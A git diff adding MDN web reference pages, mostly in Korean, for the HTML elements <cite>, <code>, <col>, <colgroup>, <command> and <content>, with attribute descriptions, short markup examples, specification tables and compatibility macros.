+ <li>공연</li>
+ <li>오페라</li>
+ <li>뮤지컬</li>
+ <li>전시회</li>
+ <li>판례</li>
+ <li>컴퓨터 프로그램</li>
+ <li>웹사이트</li>
+ <li>웹페이지</li>
+ <li>블로그 글과 댓글</li>
+ <li>게시판 글과 댓글</li>
+ <li>트윗</li>
+ <li>Facebook 글</li>
+ <li>성명서</li>
+ <li>기타 등등</li>
+</ul>
+</div>
+
+<p>W3C 명세는 <code>&lt;cite&gt;</code> 요소로 저작물의 출처를 표기할 때 저작자도 표기할 수 있음을 명시하고 있습니다. 그러나 정반대로, WHATWG 명세는 사람 이름을 어떤 상황에서도 <strong>절대</strong> 포함하지 말아야 한다고 적혀있다는 점을 알아두는 것이 좋습니다.</p>
+
+<p>{{htmlelement("blockquote")}}, {{htmlelement("q")}} 요소가 가진 인용문의 출처를 나타내려면 {{htmlattrxref("cite", "blockquote")}} 특성을 사용하세요.</p>
+
+<p>보통 브라우저는 <code>&lt;cite&gt;</code> 요소를 그릴 때 기울임꼴로 표현합니다. 기울임꼴을 제거하려면 CSS {{cssxref("font-style")}} 속성을 <code>&lt;cite&gt;</code>에 적용하세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;p&gt;More information can be found in &lt;cite&gt;[ISO-0000]&lt;/cite&gt;.&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p><cite>{{EmbedLiveSample("예제", 640, 60)}}</cite></p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-cite-element', '&lt;cite&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-cite-element', '&lt;cite&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;cite&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("html.elements.cite")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>긴 인용문을 위한 {{HTMLElement("blockquote")}} 요소.</li>
+ <li>인라인 인용문을 위한 {{HTMLElement("q")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/code/index.html b/files/ko/web/html/element/code/index.html
new file mode 100644
index 0000000000..2295588149
--- /dev/null
+++ b/files/ko/web/html/element/code/index.html
@@ -0,0 +1,109 @@
+---
+title: '<code>: 인라인 코드 요소'
+slug: Web/HTML/Element/code
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/code
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;code&gt;</code> 요소</strong>는 짧은 코드 조각을 나타내는 스타일을 사용해 자신의 콘텐츠를 표시합니다.</span> 기본 스타일은 {{glossary("user agent", "사용자 에이전트")}}의 고정폭 글씨체입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/code.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a><span style="line-height: 21px;">만 포함합니다.</span></p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;p&gt;함수 &lt;code&gt;selectAll()&lt;/code&gt;는 입력 필드의 모든 텍스트를 선택하므로,
+사용자가 복사 혹은 삭제를 손쉽게 할 수 있습니다.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("예제", 640, 70)}}</p>
+
+<h2 id="참고">참고</h2>
+
+<p>여러 줄의 코드를 나타내려면 <code>&lt;code&gt;</code> 요소를 {{htmlelement("pre")}}로 감싸세요. 보통 상황에서 <code>&lt;code&gt;</code>는 코드 한 줄만 나타냅니다.</p>
+
+<p>CSS <code>code</code> 태그 선택자를 사용해 브라우저의 기본 글씨체를 바꿀 수 있습니다. 그러나 사용자 설정이 CSS보다 우선할 수도 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-code-element', '&lt;code&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-code-element', '&lt;code&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;code&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.code")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("samp")}}</li>
+ <li>{{HTMLElement("kbd")}}</li>
+ <li>{{HTMLElement("var")}}</li>
+ <li>{{HTMLElement("pre")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/col/index.html b/files/ko/web/html/element/col/index.html
new file mode 100644
index 0000000000..01223aa13c
--- /dev/null
+++ b/files/ko/web/html/element/col/index.html
@@ -0,0 +1,159 @@
+---
+title: <col>
+slug: Web/HTML/Element/col
+tags:
+ - Element
+ - HTML
+ - HTML tabular data
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/col
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;col&gt;</code> 요소</strong>는 표의 열을 나타내며, 열에 속하는 칸에 공통된 의미를 부여할 때 사용합니다.</span> {{htmlelement("colgroup")}} 안에서 찾을 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/col.html","tabbed-taller")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>없음. {{glossary("empty element", "빈 요소")}}입니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{htmlattrxref("span", "colgroup")}} 특성을 지정하지 않은 {{HTMLElement("colgroup")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLTableColElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("span")}}</dt>
+ <dd><code>&lt;col&gt;</code>이 차지할 열의 수를 나타내는 양의 정수. 기본값은 1입니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<p>The following attributes are deprecated and should not be used. They are documented below for reference when updating existing code and for historical interest only.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecated_inline}}</dt>
+ <dd>This enumerated attribute specifies how horizontal alignment of each column cell content will be handled. Possible values are:
+ <ul>
+ <li><code>left</code>, aligning the content to the left of the cell</li>
+ <li><code>center</code>, centering the content in the cell</li>
+ <li><code>right</code>, aligning the content to the right of the cell</li>
+ <li><code>justify</code>, inserting spaces into the textual content so that the content is justified in the cell</li>
+ </ul>
+
+ <p>If this attribute is not set, its value is inherited from the {{htmlattrxref("align", "colgroup")}} of the {{HTMLElement("colgroup")}} element this <code>&lt;col&gt;</code> element belongs too. If there are none, the <code>left</code> value is assumed.</p>
+
+ <div class="note"><strong>Note: </strong>
+
+ <ul>
+ <li>To achieve the same effect as the <code>left</code>, <code>center</code>, <code>right</code> or <code>justify</code> values:
+
+ <ul>
+ <li>Do not try to set the {{cssxref("text-align")}} property on a selector giving a <code>&lt;col&gt;</code> element. Because {{HTMLElement("td")}} elements are not descendant of the <code>&lt;col&gt;</code> element, they won't inherit it.</li>
+ <li>If the table doesn't use a {{htmlattrxref("colspan", "td")}} attribute, use the <code>td:nth-child(an+b)</code> CSS selector. Set <code>a</code> to zero and <code>b </code>to the position of the column in the table, e.g. <code>td:nth-child(2) { text-align: right; }</code> to right-align the second column.</li>
+ <li>If the table does use a {{htmlattrxref("colspan", "td")}} attribute, the effect can be achieved by combining adequate CSS attribute selectors like <code>[colspan=n]</code>, though this is not trivial.</li>
+ </ul>
+ </li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>The background color of the table. It is a <a href="/en-US/docs/Web/CSS/color_value#RGB_colors">6-digit hexadecimal RGB code</a>, prefixed by a '<code>#</code>'. One of the predefined <a href="/en-US/docs/Web/CSS/color_value#Color_keywords">color kewords</a> can also be used.</p>
+
+ <p>To achieve a similar effect, use the CSS {{cssxref("background-color")}} property.</p>
+ </dd>
+ <dt>{{htmlattrdef("char")}} {{deprecated_inline}}</dt>
+ <dd>This attribute is used to set the character to align the cells in a column on. Typical values for this include a period (.) when attempting to align numbers or monetary values. If {{htmlattrxref("align", "col")}} is not set to <code>char</code>, this attribute is ignored.</dd>
+ <dt>{{htmlattrdef("charoff")}} {{deprecated_inline}}</dt>
+ <dd>This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the <code>char</code> attribute.</dd>
+ <dt>{{htmlattrdef("valign")}} {{deprecated_inline}}</dt>
+ <dd>This attribute specifies the vertical alignment of the text within each cell of the column. Possible values for this attribute are:
+ <ul>
+ <li><code>baseline</code>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="https://en.wikipedia.org/wiki/Baseline_%28typography%29">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <code>bottom</code>.</li>
+ <li><code>bottom</code>, which will put the text as close to the bottom of the cell as it is possible;</li>
+ <li><code>middle</code>, which will center the text in the cell;</li>
+ <li>and <code>top</code>, which will put the text as close to the top of the cell as it is possible.</li>
+ </ul>
+
+ <div class="note"><strong>Note:</strong>
+
+ <ul>
+ <li>Do not try to set the {{cssxref("vertical-align")}} property on a selector giving a <code>&lt;col&gt;</code> element. Because {{HTMLElement("td")}} elements are not descendant of the <code>&lt;col&gt;</code> element, they won't inherit it.</li>
+ <li>If the table doesn't use a {{htmlattrxref("colspan", "td")}} attribute, use the <code>td:nth-child(an+b)</code> CSS selector where a is the total number of the columns in the table and b is the ordinal position of the column in the table. Only after this selector the <code>vertical-align</code> property can be used.</li>
+ <li>If the table does use a {{htmlattrxref("colspan", "td")}} attribute, the effect can be achieved by combining adequate CSS attribute selectors like <code>[colspan=n]</code>, though this is not trivial.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("width")}} {{deprecated_inline}}</dt>
+ <dd>This attribute specifies a default width for each column in the current column group. In addition to the standard pixel and percentage values, this attribute might take the special form <code>0*</code>, which means that the width of each column in the group should be the minimum width necessary to hold the column's contents. Relative widths such as <code>0.5*</code> also can be used.</dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p><code>&lt;col&gt;</code> 요소의 예제는 {{htmlelement("table")}} 요소 문서에서 볼 수 있습니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'tabular-data.html#the-col-element', '&lt;col&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'tabular-data.html#the-col-element', '&lt;col&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/tables.html#h-11.2.4.2', '&lt;col&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.col")}}</p>
diff --git a/files/ko/web/html/element/colgroup/index.html b/files/ko/web/html/element/colgroup/index.html
new file mode 100644
index 0000000000..24993546d1
--- /dev/null
+++ b/files/ko/web/html/element/colgroup/index.html
@@ -0,0 +1,142 @@
+---
+title: <colgroup>
+slug: Web/HTML/Element/colgroup
+tags:
+ - Element
+ - HTML
+ - HTML tabular data
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/colgroup
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;colgroup&gt;</code> 요소</strong>는 표의 열을 묶는 그룹을 정의합니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/colgroup.html","tabbed-taller")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>{{htmlattrxref("span", "colgroup")}} 특성이 존재하는 경우 없음. {{glossary("empty element", "빈 요소")}}입니다.<br>
+ 그렇지 않은 경우 0개 이상의 {{htmlelement("col")}} 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>첫 번째 자식이 {{htmlelement("col")}} 요소이며, 바로 앞의 요소가 닫는 태그를 생략한 <code>&lt;colgroup&gt;</code> 요소가 아닐 때, 여는 태그를 생략할 수 있습니다.<br>
+ 바로 뒤에 스페이스나 주석이 오지 않으면 닫는 태그를 생략할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{HTMLElement("table")}} 요소. <code>&lt;colgroup&gt;</code>은 모든 {{HTMLElement("thead")}}, {{HTMLElement("th")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("tr")}} 요소 앞에 위치해야 하며, <code>&lt;table&gt;</code> 안에 {{htmlelement("caption")}} 요소가 존재하는 경우 <code>&lt;caption&gt;</code> 뒤에 와야 합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLTableColElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes" title="HTML/Global attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
+ <dd>열 그룹의 배경색. '#' 문자로 시작하는 <a href="/ko/docs/Web/CSS/color_value#RGB_색상">6자리 16진수 RGB 코드</a> 또는 <a href="/ko/docs/Web/CSS/color_value#색상_키워드">사전 정의된 색상 키워드</a>를 사용할 수 있습니다.
+ <div class="note"><strong>참고:</strong> 표준 특성이 아니므로 사용하지 마세요. 배경색을 적용하려면 CSS {{cssxref("background-color")}} 특성을 사용해야 합니다.</div>
+ </dd>
+ <dt>{{htmlattrdef("span")}}</dt>
+ <dd><code>&lt;colgroup&gt;</code>이 차지할 열의 수를 나타내는 양의 정수. 기본값은 1입니다. 내부에 {{htmlelement("col")}} 요소가 존재하면 사용할 수 없습니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Obsolete_attributes">Obsolete attributes</h3>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Do not use these attributes as they are obsolete (and not supported) in the latest standard.</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("char")}} {{obsolete_inline}}</dt>
+ <dd>This attribute specifies the alignment of the content in a column group to a character. Typical values for this include a period (.) when attempting to align numbers or monetary values. If {{htmlattrxref("align", "colgroup")}} is not set to <code>char</code>, this attribute is ignored, though it will still be used as the default value for the {{htmlattrxref("align", "col")}} of the {{HTMLElement("col")}} which are members of this column group.
+ <div class="note"><strong>Note: </strong>To achieve the same effect as the <code>char</code> attribute, in CSS3, you can use the character set using the <code>char</code> attribute as the value of the {{cssxref("text-align")}} property {{unimplemented_inline}}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("charoff")}} {{obsolete_inline}}</dt>
+ <dd>This attribute is used to indicate the number of characters to offset the column data from the alignment character specified by the <strong>char</strong> attribute.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("valign")}} {{obsolete_inline}}</dt>
+ <dd>This attribute specifies the vertical alignment of the text within each cell of the column. Possible values for this attribute are:
+ <ul>
+ <li><code>baseline</code>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="https://en.wikipedia.org/wiki/Baseline_%28typography%29">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <code>bottom</code>.</li>
+ <li><code>bottom</code>, which will put the text as close to the bottom of the cell as it is possible;</li>
+ <li><code>middle</code>, which will center the text in the cell;</li>
+ <li>and <code>top</code>, which will put the text as close to the top of the cell as it is possible.</li>
+ </ul>
+
+ <div class="note"><strong>Note: </strong>
+
+ <ul>
+ <li>Do not try to set the {{cssxref("vertical-align")}} property on a selector giving a {{HTMLElement("colgroup")}} element. Because {{HTMLElement("td")}} elements are not descendant of the {{HTMLElement("colgroup")}} element, they won't inherit it.</li>
+ <li>If the table doesn't use a {{htmlattrxref("colspan", "td")}} attribute, use the <code>td:nth-child(an+b)</code> CSS selector per column, where a is the total number of the columns in the table and b is the ordinal position of the column in the table. Only after this selector the {{cssxref("vertical-align")}} property can be used.</li>
+ <li>If the table does use a {{htmlattrxref("colspan", "td")}} attribute, the effect can be achieved by combining adequate CSS attribute selectors like <code>[colspan=n]</code>, though this is not trivial.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p><code>&lt;colgroup&gt;</code> 요소의 예제는 {{htmlelement("table")}} 요소 문서에서 볼 수 있습니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'tabular-data.html#the-colgroup-element', '&lt;colgroup&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'tabular-data.html#the-colgroup-element', '&lt;colgroup&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'tables.html#edef-COLGROUP', '&lt;colgroup&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.colgroup")}}</p>
diff --git a/files/ko/web/html/element/command/index.html b/files/ko/web/html/element/command/index.html
new file mode 100644
index 0000000000..8353384f2a
--- /dev/null
+++ b/files/ko/web/html/element/command/index.html
@@ -0,0 +1,111 @@
+---
+title: <command>
+slug: Web/HTML/Element/command
+tags:
+ - HTML
+ - Obsolete
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/command
+---
+<div>{{obsolete_header()}}</div>
+
+<p><span class="seoSummary">The <strong>HTML Command element</strong> (<strong><code>&lt;command&gt;</code></strong>) represents a command which the user can invoke. Commands are often used as part of a context menu or toolbar.</span> However, they can be used anywhere on the page.</p>
+
+<div class="note">
+<p>The <code>&lt;command&gt;</code> element is included in the W3C specification, but not in the WHATWG specification, and browser support is nonexistent. You should use the {{HTMLElement("menuitem")}} element instead, although that element is non-standard and only supported in Edge and Firefox.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>, metadata content.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted content</th>
+ <td>None, it is an {{Glossary("empty element")}}.</td>
+ </tr>
+ <tr>
+ <th scope="row">Tag omission</th>
+ <td>The <span>start tag</span> is mandatory, but, as it is a void element, the <span>use of an end tag</span> is forbidden.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted parent elements</th>
+ <td>{{HTMLElement("colgroup")}} only, though it can be implicitly defined as its start tag is not mandatory. The {{HTMLElement("colgroup")}} must not have a {{HTMLElement("span")}} as child.</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM interface</th>
+ <td>{{domxref("HTMLCommandElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("checked")}}</dt>
+ <dd>Indicates whether the command is selected. Must be omitted unless the <code>type</code> attribute is <code>checkbox </code>or <code>radio</code>.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>Iindicates that the command is not available.</dd>
+ <dt>{{htmlattrdef("icon")}}</dt>
+ <dd>Gives a picture which represents the command.</dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>The name of the command as shown to the user.</dd>
+ <dt>{{htmlattrdef("radiogroup")}}</dt>
+ <dd>This attribute gives the name of the group of commands, with a <code>type</code> of <code>radio</code>, that will be toggled when the command itself is toggled. This attribute must be omitted unless the <code>type</code> attribute is <code>radio</code>.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>This attribute indicates the kind of command. This can be one of three values.
+ <ul>
+ <li>
+ <p><code>command</code> or empty which is the default state and indicates that this is a normal command.</p>
+ </li>
+ <li>
+ <p><code>checkbox</code> indicates that the command can be toggled using a checkbox.</p>
+ </li>
+ <li>
+ <p><code>radio</code> indicates that the command can be toggled using a radio button.</p>
+ </li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: html">&lt;command type="command" label="Save"
+ icon="icons/save.png" onclick="save()"&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#commands')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'semantics.html#the-command-element', '&lt;command&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.command")}}</p>
+
+<p>{{ HTMLRef }}</p>
diff --git a/files/ko/web/html/element/content/index.html b/files/ko/web/html/element/content/index.html
new file mode 100644
index 0000000000..31179154e3
--- /dev/null
+++ b/files/ko/web/html/element/content/index.html
@@ -0,0 +1,101 @@
+---
+title: <content>
+slug: Web/HTML/Element/content
+translation_of: Web/HTML/Element/content
+---
+<div>{{Deprecated_header}}</div>
+
+<p><span class="seoSummary">The <strong>HTML <code>&lt;content&gt;</code> element</strong>—an obsolete part of the <a href="/en-US/docs/Web/Web_Components">Web Components</a> suite of technologies—was used inside of <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a> as an {{glossary("insertion point")}}, and wasn't meant to be used in ordinary HTML.</span> It has now been replaced by the {{HTMLElement("slot")}} element, which creates a point in the DOM at which a shadow DOM can be inserted.</p>
+
+<div class="note">
+<p><strong>Note: </strong>Though present in early draft of the specifications and implemented in several browsers, this element has been removed in later versions of the spec, and should not be used. It is documented here to assist in adapting code written during the time it was included in the spec to work with newer versions of the specification.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Transparent_content_model" title="HTML/Content_categories#Transparent_content_model">Transparent content</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted content</th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Tag omission</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted parent elements</th>
+ <td>Any element that accepts flow content.</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM interface</th>
+ <td>{{domxref("HTMLContentElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt><code>select</code></dt>
+ <dd>A comma-separated list of selectors. These have the same syntax as CSS selectors. They select the content to insert in place of the <code>&lt;content&gt;</code> element.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>Here is a simple example of using the <code>&lt;content&gt;</code> element. It is an HTML file with everything needed in it.</p>
+
+<div class="note">
+<p><strong>Note:</strong> For this code to work, the browser you display it in must support Web Components. See <a href="/en-US/docs/Web/Web_Components#Enabling_Web_Components_in_Firefox">Enabling Web Components in Firefox</a>.</p>
+</div>
+
+<pre class="brush: html">&lt;html&gt;
+ &lt;head&gt;&lt;/head&gt;
+ &lt;body&gt;
+ &lt;!-- The original content accessed by &lt;content&gt; --&gt;
+ &lt;div&gt;
+ &lt;h4&gt;My Content Heading&lt;/h4&gt;
+ &lt;p&gt;My content text&lt;/p&gt;
+ &lt;/div&gt;
+
+ &lt;script&gt;
+ // Get the &lt;div&gt; above.
+ var myContent = document.querySelector('div');
+ // Create a shadow DOM on the &lt;div&gt;
+ var shadowroot = myContent.createShadowRoot();
+ // Insert into the shadow DOM a new heading and
+ // part of the original content: the &lt;p&gt; tag.
+ shadowroot.innerHTML =
+ '&lt;h2&gt;Inserted Heading&lt;/h2&gt; &lt;content select="p"&gt;&lt;/content&gt;';
+ &lt;/script&gt;
+
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>If you display this in a web browser it should look like the following.</p>
+
+<p><img alt="content example" src="https://mdn.mozillademos.org/files/10077/content-example.png" style="height: 383px; width: 716px;"></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>This element is no longer defined by any specifications.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+
+
